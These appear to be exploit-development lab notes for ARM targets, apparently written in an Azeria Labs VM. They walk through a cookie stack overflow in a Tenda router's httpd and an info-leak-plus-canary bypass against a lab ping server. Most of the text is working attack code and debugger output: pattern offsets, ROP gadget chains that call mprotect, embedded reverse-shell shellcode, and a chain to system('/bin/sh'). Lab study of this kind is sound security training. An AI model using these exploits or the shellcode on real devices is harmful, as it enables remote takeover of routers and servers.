────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]────
[#0] Id 1, Name: "httpd", stopped, reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0x40229954 → ldrb r12,  [r3]
[#1] 0x2d818 → mov r3,  r0
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x40229954 in ?? ()

Lets execute the payload with gdb pattern:

#!/usr/bin/python
import urllib2

opener = urllib2.build_opener()

payload = "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaak"

opener.addheaders.append(('Cookie', 'crash='+payload))

try:
		f = opener.open("http://192.168.0.1")
except:
		pass

Since its not in thumb mode no +1 is necessary when looking for the pattern

Lets use gdb pattern on as the payload to find the offset:

gef➤  pattern offset $r3
[+] Searching '$r3'
[+] Found at offset 460 (little-endian search) likely

Fixing the Memory Read issue

Since ASLR is disabled lets get a peice of memory where you can read and replace it:

gef➤  aslr 
ASLR is currently disabled
gef➤  vmmap
Start      End        Offset     Perm Path
0x40000000 0x40005000 0x00000000 r-x /home/user/Tenda/squashfs-root/lib/ld-uClibc.so.0
0x40005000 0x40006000 0x00000000 r-x [sigpage]
0x40006000 0x40007000 0x00000000 r-- [vvar]
0x40007000 0x40008000 0x00000000 r-x [vdso]
0x40008000 0x40009000 0x00000000 rw- 
0x4000a000 0x4000b000 0x00000000 rw- 
0x4000c000 0x4000d000 0x00004000 r-- /home/user/Tenda/squashfs-root/lib/ld-uClibc.so.0
0x4000d000 0x4000e000 0x00005000 rw- /home/user/Tenda/squashfs-root/lib/ld-uClibc.so.0
0x4000e000 0x4000f000 0x00000000 r-x /home/user/Tenda/squashfs-root/hooks.so
0x4000f000 0x40016000 0x00000000 --- 
0x40016000 0x40017000 0x00000000 rw- /home/user/Tenda/squashfs-root/hooks.so
0x40017000 0x40027000 0x00000000 r-x /home/user/Tenda/squashfs-root/lib/libCfm.so
0x40027000 0x4002e000 0x00000000 --- 
0x4002e000 0x4002f000 0x0000f000 rw- /home/user/Tenda/squashfs-root/lib/libCfm.so
0x4002f000 0x4004a000 0x00000000 rw- 
0x4004a000 0x4006b000 0x00000000 r-x /home/user/Tenda/squashfs-root/lib/libcommon.so
0x4006b000 0x40073000 0x00000000 --- 
0x40073000 0x40074000 0x00021000 rw- /home/user/Tenda/squashfs-root/lib/libcommon.so
0x40074000 0x4007c000 0x00000000 rw- 
0x4007c000 0x40083000 0x00000000 r-x /home/user/Tenda/squashfs-root/lib/libChipApi.so
0x40083000 0x4008a000 0x00000000 --- 
0x4008a000 0x4008b000 0x00006000 rw- /home/user/Tenda/squashfs-root/lib/libChipApi.so
0x4008b000 0x4008d000 0x00000000 r-x /home/user/Tenda/squashfs-root/lib/libvos_util.so
0x4008d000 0x40095000 0x00000000 --- 
0x40095000 0x40096000 0x00002000 rw- /home/user/Tenda/squashfs-root/lib/libvos_util.so
0x40096000 0x400aa000 0x00000000 r-x /home/user/Tenda/squashfs-root/lib/libz.so
0x400aa000 0x400b1000 0x00000000 --- 
0x400b1000 0x400b3000 0x00013000 rw- /home/user/Tenda/squashfs-root/lib/libz.so
0x400b3000 0x400be000 0x00000000 r-x /home/user/Tenda/squashfs-root/lib/libpthread.so.0
0x400be000 0x400c5000 0x00000000 --- 
0x400c5000 0x400c6000 0x0000a000 r-- /home/user/Tenda/squashfs-root/lib/libpthread.so.0
0x400c6000 0x400cb000 0x0000b000 rw- /home/user/Tenda/squashfs-root/lib/libpthread.so.0
0x400cb000 0x400cd000 0x00000000 rw- 
0x400cd000 0x400ce000 0x00000000 r-x /home/user/Tenda/squashfs-root/usr/lib/libnvram.so
0x400ce000 0x400d5000 0x00000000 --- 
0x400d5000 0x400d6000 0x00000000 rw- /home/user/Tenda/squashfs-root/usr/lib/libnvram.so
0x400d6000 0x400e6000 0x00000000 r-x /home/user/Tenda/squashfs-root/usr/lib/libshared.so
0x400e6000 0x400ed000 0x00000000 --- 
0x400ed000 0x400ef000 0x0000f000 rw- /home/user/Tenda/squashfs-root/usr/lib/libshared.so
0x400ef000 0x40151000 0x00000000 r-x /home/user/Tenda/squashfs-root/lib/libtpi.so
0x40151000 0x40159000 0x00000000 --- 
0x40159000 0x4015a000 0x00062000 rw- /home/user/Tenda/squashfs-root/lib/libtpi.so
0x4015a000 0x4018c000 0x00000000 rw- 
0x4018c000 0x4019b000 0x00000000 r-x /home/user/Tenda/squashfs-root/lib/libm.so.0
0x4019b000 0x401a3000 0x00000000 --- 
0x401a3000 0x401a4000 0x0000f000 r-- /home/user/Tenda/squashfs-root/lib/libm.so.0
0x401a4000 0x401a5000 0x00010000 rw- /home/user/Tenda/squashfs-root/lib/libm.so.0
0x401a5000 0x401ce000 0x00000000 r-x /home/user/Tenda/squashfs-root/lib/libucapi.so
0x401ce000 0x401d6000 0x00000000 --- 
0x401d6000 0x401d7000 0x00029000 rw- /home/user/Tenda/squashfs-root/lib/libucapi.so
0x401d7000 0x401d9000 0x00000000 rw- 
0x401d9000 0x401e3000 0x00000000 r-x /home/user/Tenda/squashfs-root/lib/libgcc_s.so.1
0x401e3000 0x401ea000 0x00000000 --- 
0x401ea000 0x401eb000 0x00009000 rw- /home/user/Tenda/squashfs-root/lib/libgcc_s.so.1
0x401eb000 0x40250000 0x00000000 r-x /home/user/Tenda/squashfs-root/lib/libc.so.0

Fix the Memory read error:

#!/usr/bin/python
import urllib2
from struct import pack

opener = urllib2.build_opener()

payload = "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaae"
# Lets choose a memory address that has read access
# We choose 0x40073000 0x40074000 0x00021000 rw- /home/user/Tenda/squashfs-root/lib/libcommon.so
# Now we modify it a bit so their is no null bytes in the payload
payload += pack('<I', 0x40073001)
payload += "qaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaaj"

opener.addheaders.append(('Cookie', 'crash='+payload))

try:
		f = opener.open("http://192.168.0.1")
except:
		pass

Now we have control over the Instruction Pointer:

gef➤  c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]────
$r0   : 0x0       
$r1   : 0x40259268    0x00000000
$r2   : 0x0       
$r3   : 0x0       
$r4   : 0x6561616a ("jaae"?)
$r5   : 0x6561616b ("kaae"?)
$r6   : 0x6561616c ("laae"?)
$r7   : 0x6561616d ("maae"?)
$r8   : 0xe994        <_init+0> mov r12,  sp
$r9   : 0x2e158        ldr r0,  [pc,  #64] ; (0x2e19c)
$r10  : 0xbefff708    0x00000000
$r11  : 0x6561616e ("naae"?)
$r12  : 0x400c5edc    0x400bba50    0xe1a03000
$sp   : 0xbeffeca8    0x40073001    0xac4004d8
$lr   : 0x400b9764    0xea000012
$pc   : 0x6561616e ("naae"?)
$cpsr : [negative ZERO CARRY overflow interrupt fast THUMB]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]────
0xbeffeca8│+0x00: 0x40073001    0xac4004d8   $sp
0xbeffecac│+0x04: "qaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafda[...]"
0xbeffecb0│+0x08: "raaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafea[...]"
0xbeffecb4│+0x0c: "saaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffa[...]"
0xbeffecb8│+0x10: "taaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafga[...]"
0xbeffecbc│+0x14: "uaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafha[...]"
0xbeffecc0│+0x18: "vaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafia[...]"
0xbeffecc4│+0x1c: "waaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafja[...]"
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:arm:thumb ]────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x6561616e
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]────
[#0] Id 1, Name: "httpd", stopped, reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]────
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x6561616e in ?? ()
gef➤  pattern search $pc+1
[+] Searching '$pc+1'
[+] Found at offset 456 (little-endian search) likely
gef➤  pattern search $pc+1
[+] Searching '$pc+1'
[+] Found at offset 456 (little-endian search) likely
gef➤  pattern search $r4+1
[+] Searching '$r4+1'
[+] Found at offset 440 (little-endian search) likely
[+] Found at offset 1016 (big-endian search) 
gef➤  pattern search $r5+1
[+] Searching '$r5+1'
[+] Found at offset 444 (little-endian search) likely
gef➤  pattern search $r6+1
[+] Searching '$r6+1'
[+] Found at offset 448 (little-endian search) likely
gef➤  pattern search $r7+1
[+] Searching '$r7+1'
[+] Found at offset 452 (little-endian search) likely
gef➤  pattern search $r11+1
[+] Searching '$r11+1'
[+] Found at offset 456 (little-endian search) likely

Making the ROP Chain

Mprotect needs some setup
1. Get 0x07 in to the R2 Register
2. Get a large size into the R1 register
3. Get the start of the stack page in r0
4. Setup the lr register to a gadget to return back to the rop chain after

Finding ROP Chains:

user@Azeria-Lab-VM:~/Downloads/libc$ ropper --file ./libc.so.0 --console
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
(libc.so.0/ELF/ARM)> search add r2, r2, #0x20
[INFO] Searching for gadgets: add r2, r2, #0x20

[INFO] File: ./libc.so.0
0x00052974: add r2, r2, #0x20; and r0, r0, #3; add r0, r2, r0; pop {r4, pc}; 

(libc.so.0/ELF/ARM)> search /1/  mov r0, sp
[INFO] Searching for gadgets: mov r0, sp

[INFO] File: ./libc.so.0
0x00040cb8: mov r0, sp; blx r3; 

(libc.so.0/ELF/ARM)> search and r0, r0, r5
[INFO] Searching for gadgets: and r0, r0, r5

[INFO] File: ./libc.so.0
0x0001908c: and r0, r0, r5; pop {r3, r4, r5, pc}; 

(libc.so.0/ELF/ARM)> arch ARMTHUMB
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
(libc.so.0/ELF/ARMTHUMB)> search bx sp
[INFO] Searching for gadgets: bx sp

[INFO] File: ./libc.so.0
0x000061d4 (0x000061d5): bx sp; 

Adding to the payload:

#!/usr/bin/python
import urllib2
import sys
from struct import pack

opener = urllib2.build_opener()

def pack_input(input):
	return pack('<I',input)

#base address for libc.so.0
#0x401eb000 0x40250000 0x00000000 r-x /home/user/Tenda/squashfs-root/lib/libc.so.0
libc_base = 0x401eb000
mprotect_address = 0x00016760

shellcode = "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\x20\x01\x21\x92\x1a\xc8\x27\x51\x37\x01\xdf\x04\x1c\x0e\xa1\x4a\x70\x8a\x71\x10\x22\x02\x37\x01\xdf\xc0\x46\xc0\x46\xc0\x46\x3f\x27\x20\x1c\x49\x1a\x01\xdf\x20\x1c\x01\x21\x01\xdf\x20\x1c\x02\x21\x01\xdf\x06\xa0\x92\x1a\x49\x1a\x01\x91\x02\x91\x01\x90\x01\xa9\xc2\x71\x0b\x27\x01\xdf\x02\xff\x11\x5c\xc0\xa8\x01\xfe\x2f\x62\x69\x6e\x2f\x73\x68\x58"

payload = "A"*440
# This value will be in R4
payload += "BBBB"
# This value will be in R5
payload += "CCCC"
# This value will be in R6
payload += "DDDD"
# This value will be in R7
payload += "EEEE"
# This value will be in R11 and PC
# This will be the first thing executed in the ROP chain
# Set up trap on R3
# 0x00018298: pop {r3, pc}; 
payload += pack('<I', libc_base + 0x00018298)
# This is the value that needs to be in a readable location
# lets choose an offset from libc.so since we already have that address hard coded
# Their must be no null bytes in the payload
# Since this will also be put in the r3 register and used for the blx jump lets set up the second gadget in the ROP chain
# This will also be put in to r3 
# Trap Gadget 
# 0x00014b04: pop {r7, pc};
payload += pack('<I', libc_base + 0x00014b04)

### SETTING THE PROTECTION FLAG (r2=7)
# Lets get the Values in to R1 and R2 that when subtracted equal 7
# 0x00015f0c: pop {r1, r2, r3, pc};
payload += pack('<I', libc_base + 0x00015f0c)
#Trash that will be put in r1
payload += "FFFF"
# 0x07 - 0x20 underflow value for R2
payload += pack('<I', (0xFFFFFFFF - (0x20 - 7 - 1)))
# Overwrite the trap gadget with the same trap gadget
# Trap Gadget 
# 0x00014b04: pop {r7, pc};
payload += pack('<I', libc_base + 0x00014b04) 

#0x00052974: add r2, r2, #0x20; and r0, r0, #3; add r0, r2, r0; pop {r4, pc}; 
payload += pack('<I', libc_base + 0x00052974)
#Garbage that is put in to R4
payload += "GGGG" 
### FINISHED SETTING THE PROTECTION FLAG


### STARTING THE STACK VALUE WITH OFFSET TO R0

#Trap Gadget 
#0x00040cb8: mov r0, sp; blx r3; 
payload += pack('<I', libc_base + 0x00040cb8)
#Garbage that is put in to R7 by trap gadget
payload += "HHHH" 
#0x00015210: pop {r4, r5, pc};  
payload += pack('<I', libc_base + 0x00015210)
#Garbage that is put in to R4
payload += "IIII" 
#0xfffff001 that will be used to get the page alignment This is popped in to the R5 register
payload += pack('<I', 0xfffff001) 
#0x0001908c: and r0, r0, r5; pop {r3, r4, r5, pc}; 
payload += pack('<I', libc_base + 0x0001908c)
payload += "JJJJ" 
payload += "KKKK" 
payload += "LLLL" 

### FINISHED SETTING THE STACK VALUE WITH OFFSET TO R0

# Setting the length for MProtect
# 0x0005b028: pop {r1, pc};
# This will also be the length for the mprotect
payload += pack('<I', libc_base + 0x0005b028)
payload += pack('<I', 0x01010101) 

#Set the lr register for the return from mprotect
# 0x00043330: pop {lr}; add sp, sp, #8; bx lr;
payload += pack('<I', libc_base + 0x00043330)
#0x00014b04: pop {r7, pc};
payload += pack('<I', libc_base + 0x00014b04)
#padding for the Stack increase
payload += "MMMM" 
payload += "NNNN" 
#garbage value to be put in to r7
payload += "OOOO" 

#Mprotect offset
payload +=pack('<I', libc_base + mprotect_address)
#garbage value to be put in to r7
payload += "OOOO" 
# 0x000061d5: bx sp;
payload += pack('<I', libc_base+0x000061d5)

payload += shellcode

opener.addheaders.append(('Cookie', 'crash='+payload))

try:
	f = opener.open("http://192.168.0.1")
except:
	print("Unexpected error:", sys.exc_info()[0])
	raise

Bypassing ASLR and stack canaries with Information Leaks

  1. First thing to do is to leak the libc base address.
  2. Then leak the stack canary on the stack
  3. Overwrite the stack.
  4. Overwrite the stack canary.
  5. Do math to get base libc offset
  6. Make ROP chain with base libc offset

Leaking the libc base address

Find the Server PID:

user@azeria-labs-arm:~$ ps aux |grep ping
user       422  0.1  0.0   1392   324 pts/0    S+   06:18   0:00 ./pingserver_canaries
user       425  0.0  0.0   3792   468 pts/1    S+   06:18   0:00 grep ping

Find the Servers mappings:

user@azeria-labs-arm:~$ cat /proc/422/maps
0043a000-0043b000 r-xp 00000000 fe:02 261057     /home/user/infoleak/pingserver_canaries
0044a000-0044b000 r--p 00000000 fe:02 261057     /home/user/infoleak/pingserver_canaries
0044b000-0044c000 rw-p 00001000 fe:02 261057     /home/user/infoleak/pingserver_canaries
0044c000-0046d000 rw-p 00000000 00:00 0          [heap]
b6e94000-b6f76000 r-xp 00000000 fe:02 10883      /lib/arm-linux-gnueabihf/libc-2.27.so
b6f76000-b6f86000 ---p 000e2000 fe:02 10883      /lib/arm-linux-gnueabihf/libc-2.27.so
b6f86000-b6f88000 r--p 000e2000 fe:02 10883      /lib/arm-linux-gnueabihf/libc-2.27.so
b6f88000-b6f89000 rw-p 000e4000 fe:02 10883      /lib/arm-linux-gnueabihf/libc-2.27.so
b6f89000-b6f8c000 rw-p 00000000 00:00 0 
b6f8c000-b6fa4000 r-xp 00000000 fe:02 10876      /lib/arm-linux-gnueabihf/ld-2.27.so
b6fb2000-b6fb4000 rw-p 00000000 00:00 0 
b6fb4000-b6fb5000 r--p 00018000 fe:02 10876      /lib/arm-linux-gnueabihf/ld-2.27.so
b6fb5000-b6fb6000 rw-p 00019000 fe:02 10876      /lib/arm-linux-gnueabihf/ld-2.27.so
bed5e000-bed7f000 rw-p 00000000 00:00 0          [stack]
bee39000-bee3a000 r-xp 00000000 00:00 0          [sigpage]
bee3a000-bee3b000 r--p 00000000 00:00 0          [vvar]
bee3b000-bee3c000 r-xp 00000000 00:00 0          [vdso]
ffff0000-ffff1000 r-xp 00000000 00:00 0          [vectors]

Leak Values from the servers stack:

#!/usr/bin/python
import socket
import sys
from struct import pack
from struct import unpack


# helper function to read incoming data as uint32_ts, returned as an 
# indexable array.
def recv_uint32s(sock, nInts):
	r = [0] * nInts
	#print("Receving {}".format(nInts))
	for i in range(nInts):
		r[i] = unpack('<I', sock.recv(4))[0]
	return r


if __name__ == '__main__':

	ping_header_size = 12
	data = 'B'*16

	number_to_receve = 64

	# connect to the ping server
	sock1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	sock1.connect( ('192.168.0.1', 9999 ) )

	# build a ping:
	ping  = pack('<I', 0x11223344) # ping magic bytes 11223344
	ping += pack('<I', ping_header_size + len(data)) # ping data size = header + data_length
	ping += pack('<I', number_to_receve*4) # ping 


	ping += data                  # 8 bytes of ping data
	sock1.sendall(ping)

	# wait for the result
	stack_values = recv_uint32s(sock1, number_to_receve)       # wait for 2 uint_32ts (8 bytes) to be
									# returned. x is an array, i.e. x[0] is
									# the first element, x[1] is the second.
	for i, x in enumerate(stack_values):
		print "Reading from stack index: {0} , value: {1:x}".format(i, x)

First Output:

user@Azeria-Lab-VM:~/Downloads/infoleak$ python ping-leaking.py 
Reading from stack index: 0 , value: 42424242
Reading from stack index: 1 , value: 42424242
Reading from stack index: 2 , value: 42424242
Reading from stack index: 3 , value: 42424242
Reading from stack index: 4 , value: 45ceb400
Reading from stack index: 5 , value: 0
Reading from stack index: 6 , value: 44b000
Reading from stack index: 7 , value: bed7e598
Reading from stack index: 8 , value: 43a96f
Reading from stack index: 9 , value: 4
Reading from stack index: 10 , value: 885
Reading from stack index: 11 , value: 1
Reading from stack index: 12 , value: 10
Reading from stack index: 13 , value: 3
Reading from stack index: 14 , value: 0
Reading from stack index: 15 , value: 0
Reading from stack index: 16 , value: 0
Reading from stack index: 17 , value: 4
Reading from stack index: 18 , value: 3cb50002
Reading from stack index: 19 , value: fe00a8c0
Reading from stack index: 20 , value: 0
Reading from stack index: 21 , value: 0
Reading from stack index: 22 , value: 45ceb400
Reading from stack index: 23 , value: 0
Reading from stack index: 24 , value: bed7e5e8
Reading from stack index: 25 , value: 0
Reading from stack index: 26 , value: b6eab067
Reading from stack index: 27 , value: b6f88000
Reading from stack index: 28 , value: bed7e724
Reading from stack index: 29 , value: 1
Reading from stack index: 30 , value: 43a861
Reading from stack index: 31 , value: 2573e36b
Reading from stack index: 32 , value: 2d4eb688
Reading from stack index: 33 , value: 0
Reading from stack index: 34 , value: 43a9b5
Reading from stack index: 35 , value: b6f88000
Reading from stack index: 36 , value: 0
Reading from stack index: 37 , value: 0
Reading from stack index: 38 , value: 0
Reading from stack index: 39 , value: 44b000
Reading from stack index: 40 , value: 0
Reading from stack index: 41 , value: 0
Reading from stack index: 42 , value: 0
Reading from stack index: 43 , value: 0
Reading from stack index: 44 , value: 0
Reading from stack index: 45 , value: 0
Reading from stack index: 46 , value: 0
Reading from stack index: 47 , value: 0
Reading from stack index: 48 , value: 0
Reading from stack index: 49 , value: 0
Reading from stack index: 50 , value: 0
Reading from stack index: 51 , value: 0
Reading from stack index: 52 , value: 0
Reading from stack index: 53 , value: 0
Reading from stack index: 54 , value: 0
Reading from stack index: 55 , value: 0
Reading from stack index: 56 , value: 0
Reading from stack index: 57 , value: 1
Reading from stack index: 58 , value: b6fb5970
Reading from stack index: 59 , value: b6fb5b28
Reading from stack index: 60 , value: b6fb5b28
Reading from stack index: 61 , value: 20
Reading from stack index: 62 , value: bed7e72c
Reading from stack index: 63 , value: 0

Kill the server and restart it to find what values have changed and which have stayed the same

Second Output:

user@Azeria-Lab-VM:~/Downloads/infoleak$ python ping-leaking.py 
Reading from stack index: 0 , value: 42424242
Reading from stack index: 1 , value: 42424242
Reading from stack index: 2 , value: 42424242
Reading from stack index: 3 , value: 42424242
Reading from stack index: 4 , value: 37f1b400
Reading from stack index: 5 , value: 0
Reading from stack index: 6 , value: 4f1000
Reading from stack index: 7 , value: bedcd598
Reading from stack index: 8 , value: 4e096f
Reading from stack index: 9 , value: 4
Reading from stack index: 10 , value: 885
Reading from stack index: 11 , value: 1
Reading from stack index: 12 , value: 10
Reading from stack index: 13 , value: 3
Reading from stack index: 14 , value: 0
Reading from stack index: 15 , value: 0
Reading from stack index: 16 , value: 0
Reading from stack index: 17 , value: 4
Reading from stack index: 18 , value: 40b50002
Reading from stack index: 19 , value: fe00a8c0
Reading from stack index: 20 , value: 0
Reading from stack index: 21 , value: 0
Reading from stack index: 22 , value: 37f1b400
Reading from stack index: 23 , value: 0
Reading from stack index: 24 , value: bedcd5e8
Reading from stack index: 25 , value: 0
Reading from stack index: 26 , value: b6ecf067
Reading from stack index: 27 , value: b6fac000
Reading from stack index: 28 , value: bedcd724
Reading from stack index: 29 , value: 1
Reading from stack index: 30 , value: 4e0861
Reading from stack index: 31 , value: 59ed4c65
Reading from stack index: 32 , value: 51dd6986
Reading from stack index: 33 , value: 0
Reading from stack index: 34 , value: 4e09b5
Reading from stack index: 35 , value: b6fac000
Reading from stack index: 36 , value: 0
Reading from stack index: 37 , value: 0
Reading from stack index: 38 , value: 0
Reading from stack index: 39 , value: 4f1000
Reading from stack index: 40 , value: 0
Reading from stack index: 41 , value: 0
Reading from stack index: 42 , value: 0
Reading from stack index: 43 , value: 0
Reading from stack index: 44 , value: 0
Reading from stack index: 45 , value: 0
Reading from stack index: 46 , value: 0
Reading from stack index: 47 , value: 0
Reading from stack index: 48 , value: 0
Reading from stack index: 49 , value: 0
Reading from stack index: 50 , value: 0
Reading from stack index: 51 , value: 0
Reading from stack index: 52 , value: 0
Reading from stack index: 53 , value: 0
Reading from stack index: 54 , value: 0
Reading from stack index: 55 , value: 0
Reading from stack index: 56 , value: 0
Reading from stack index: 57 , value: 1
Reading from stack index: 58 , value: b6fd9970
Reading from stack index: 59 , value: b6fd9b28
Reading from stack index: 60 , value: b6fd9b28
Reading from stack index: 61 , value: 20
Reading from stack index: 62 , value: bedcd72c
Reading from stack index: 63 , value: 0

Looking at the values
Index 4 == index 22 but change when the server is restarted

Index 26, 58, 59, 60 are in the libc address range are are good to get the base offset from

Finding ROP Chains

#!/usr/bin/python
import socket
import sys
from struct import pack
from struct import unpack


# helper function to read incoming data as uint32_ts, returned as an 
# indexable array.
def recv_uint32s(sock, nInts):
	r = [0] * nInts
	#print("Receving {}".format(nInts))
	for i in range(nInts):
		r[i] = unpack('<I', sock.recv(4))[0]
	return r


if __name__ == '__main__':

	ping_header_size = 12
	data = 'B'*16

	number_to_receve = 64

	# connect to the ping server
	sock1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	sock1.connect( ('192.168.0.1', 9999 ) )

	# build a ping:
	ping  = pack('<I', 0x11223344) # ping magic bytes 11223344
	ping += pack('<I', ping_header_size + len(data)) # ping data size = header + data_length
	ping += pack('<I', number_to_receve*4) # ping 


	ping += data                  # 8 bytes of ping data
	sock1.sendall(ping)

	# wait for the result
	stack_values = recv_uint32s(sock1, number_to_receve)

	#for i, x in enumerate(stack_values):
	#	if x[i] != 0:
	#		print "Reading from stack index: {0} , value: {1:x}".format(i, x)


	stack_canary = x[22]
	print("Stack Cannary: 0x{:x}".format(stack_canary))

	libc_info_leak = x[26]
	print("Stack Info Leak: 0x{:x}".format(libc_info_leak))

	# user@azeria-labs-arm:~$ cat /proc/422/maps
	# b6e94000-b6f76000 r-xp 00000000 fe:02 10883      /lib/arm-linux-gnueabihf/libc-2.27.so
	#
	# Reading from stack index: 26 , value: b6ecf067

	libc_offset = 0x0003B067  # From 0xb6e94000 - 0xb6ecf067

	libc_base_address = libc_info_leak - libc_offset
	print("Libc Offset: 0x{:x}".format(libc_base_address))

	#Starting Second Ping Request

	# Padding
	data2  = 'A'*16 
	# Stack Canary from info leak
	data2 += pack('<I', stack_canary ) 
	# Padding between stack cannary and r4
	data2 += 'BBBB' 
	#Padding for the R4 address
	data2 += '4444' 
	#Padding for the R7 address
	data2 += '7777' 
	# First Gadget to set R3 Trap function -> 0x0002456e (0x0002456f): pop {r3, pc};
	data2 += pack('<I', libc_base_address + 0x0002456f)  
	# Set Trap function in R3 -> 0x0001774a (0x0001774b): pop {r4, pc}; 
	data2 += pack('<I', libc_base_address + 0x0001774b)

	# Second Gadget to get sp to r1 -> 0x000755f4 (0x000755f5): mov r1, sp; blx r3;
	data2 += pack('<I', libc_base_address + 0x000755f5) 
	# Garbage r4 data from trap function
	data2 += 'DDDD'	

	#Third Gadget 
	#move the old stack pointer to R0 -> 0x00057066 (0x00057067): mov r0, r1; blx r3;
	data2 += pack('<I', libc_base_address + 0x00057067)
	#Setup Offset in R4 for Add to R0 (SP copy)   
	data2 += pack('<I', 24) 
	#Fourth Gadget -> 0x000594b4 (0x000594b5): add r0, r4; pop {r4, pc};
	data2 += pack('<I', libc_base_address + 0x000594b5) 
	# Garbage R4 data
	data2 += 'EEEE' 
	#R4 System address for the blx
	data2 += pack('<I', libc_base_address + 0x0002d48d) 
	data2 += '/bin/sh\x00'

	sock2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	sock2.connect( ('192.168.0.1', 9999 ) )


	ping  = pack('<I', 0x11223344) # ping magic bytes 11223344
	ping += pack('<I', ping_header_size + len(data2)) # ping data size = header + data_length
	ping += pack('<I', 0) # ping 
	ping += data2

	sock2.sendall(ping)

	x = recv_uint32s(sock2, 0)